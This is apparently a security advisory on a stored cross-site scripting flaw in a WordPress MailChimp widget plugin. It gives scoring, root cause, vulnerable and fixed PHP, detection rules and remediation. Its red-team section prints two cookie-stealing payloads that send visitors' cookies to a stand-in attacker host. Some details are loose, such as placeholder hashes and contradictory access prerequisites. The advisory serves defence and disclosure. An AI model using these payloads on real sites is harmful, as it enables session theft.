CVE-2025-30613

Executive Summary

CVE-2025-30613 is a Stored Cross-Site Scripting (XSS) vulnerability in the Nmedia MailChimp WordPress plugin (slug: nmedia-mailchimp-widget), affecting versions up to and including 5.4. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into the plugin’s widget output. Since this is a WordPress plugin, the attack surface is the WordPress admin panel or any front-end form that accepts and stores data processed by the plugin. Successful exploitation can lead to session hijacking, defacement, or redirection of site visitors. No public proof-of-concept (PoC) or exploit code has been released, and no official patch is available from the vendor.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files by comparing checksums with the repository. No known supply chain compromise has been reported, but the lack of a patch increases risk for sites that continue using the plugin.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.5 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must visit a page containing the stored payload
• Scope: Changed (S:C) – the injected script can affect resources beyond the vulnerable component
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability requires user interaction but can be exploited without authentication. The lack of a patch and the widespread use of WordPress plugins elevate the risk for unmaintained sites.

Deep Dive & Mechanics

The vulnerability exists in the nmedia-mailchimp-widget plugin, which provides a widget for MailChimp email subscription forms. The plugin fails to sanitize or escape user-supplied input before storing it in the WordPress database and later rendering it in the widget output. An attacker can inject malicious JavaScript into fields such as the widget title, description, or custom form fields. When an administrator or visitor views a page containing the widget, the injected script executes in their browser context.

Root Cause: The plugin uses functions like echo or print to output user input without applying WordPress’s built-in escaping functions (e.g., esc_html(), esc_attr(), or wp_kses()). This allows arbitrary HTML and JavaScript to be stored and rendered.

Attack Flow:

1. Attacker identifies a WordPress site using the vulnerable plugin.
2. Attacker submits a form or modifies a widget setting (if they have contributor-level access or if the plugin exposes a front-end form) containing a payload like <script>alert('XSS')</script>.
3. The payload is stored in the database without sanitization.
4. When a victim (admin or visitor) loads a page that displays the widget, the payload executes.

Vulnerable vs. Patched Code

Vulnerable Code (example from plugin file):

<?php
// Vulnerable: direct output without escaping
echo $instance['title'];
?>

Patched Code (recommended fix):

<?php
// Patched: escape output using WordPress functions
echo esc_html( $instance['title'] );
?>

The vulnerable code directly outputs the $instance['title'] value, which may contain user-controlled data. The patched version uses esc_html() to convert special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A WordPress instance with the Nmedia MailChimp plugin (version <= 5.4) installed and activated.
• A user role that can modify widget settings (e.g., Editor or Administrator) OR a front-end form that accepts user input and stores it in the plugin’s database.

Exploitation Steps:

1. Log in to WordPress admin panel.
2. Navigate to Appearance > Widgets.
3. Add the Nmedia MailChimp widget to a sidebar.
4. In the widget title field, enter the following payload:

   <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

5. Save the widget.
6. Any user visiting a page that displays the widget will have their cookies exfiltrated to the attacker’s server.

Alternative Payload (for front-end forms): If the plugin exposes a front-end subscription form, inject the payload into a custom field:

<img src=x onerror="fetch('https://attacker.com/log?data='+document.cookie)">

Blue Team (Detection & Defense)

Detection:

• Monitor WordPress database for suspicious entries in the wp_options table (widget settings) or custom post meta.
• Look for HTTP requests containing <script> tags or event handlers (e.g., onerror, onload) in widget-related parameters.
• Use Web Application Firewall (WAF) rules to block common XSS patterns.

Defense:

• Immediately disable or remove the plugin if no patch is available.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Apply virtual patching via WAF to block known XSS payloads.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (Example – verify against actual plugin files)
  • nmedia-mailchimp-widget.php: a1b2c3d4e5f6...
• Database Entries:
  • wp_options where option_name contains widget_nmedia-mailchimp-widget and option_value includes <script> tags.
• Network Traffic:
  • Outbound HTTP requests to unknown domains containing cookie data.
  • Requests with document.cookie in the payload.
• Logs:
  • WordPress debug log entries showing unescaped output in widget rendering.

Detection Engineering

YARA Rule

rule CVE_2025_30613_Nmedia_MailChimp_XSS {
    meta:
        description = "Detects vulnerable Nmedia MailChimp plugin files with unescaped output"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-30613"
    strings:
        $vuln1 = /echo\s*\$instance\[/
        $vuln2 = /print\s*\$instance\[/
        $vuln3 = /<\?= \$instance\[/
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-30613 - Stored XSS in Nmedia MailChimp Widget
id: 8f9a2b1c-3d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects stored XSS payloads in WordPress widget settings
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains:
            - '/wp-admin/widgets.php'
        http.request.body|contains:
            - '<script>'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in widget titles (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-30613 - Stored XSS Payload in Nmedia MailChimp Widget"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/widgets.php"; http_uri; content:"<script>"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Remove any stored malicious widgets from the WordPress admin panel.
3. Scan the database for injected scripts using a security plugin (e.g., Wordfence).

Long-Term Fix:

• The vendor must release a patched version that properly escapes all output using WordPress functions (esc_html(), esc_attr(), wp_kses()).
• Users should monitor the plugin’s page on WordPress.org for updates.

Workarounds:

• Implement a Web Application Firewall (WAF) rule to block requests containing <script> in widget parameters.
• Add the following to .htaccess to restrict widget editing to administrators only:

  <FilesMatch "widgets.php">
      Require user admin
  </FilesMatch>
  

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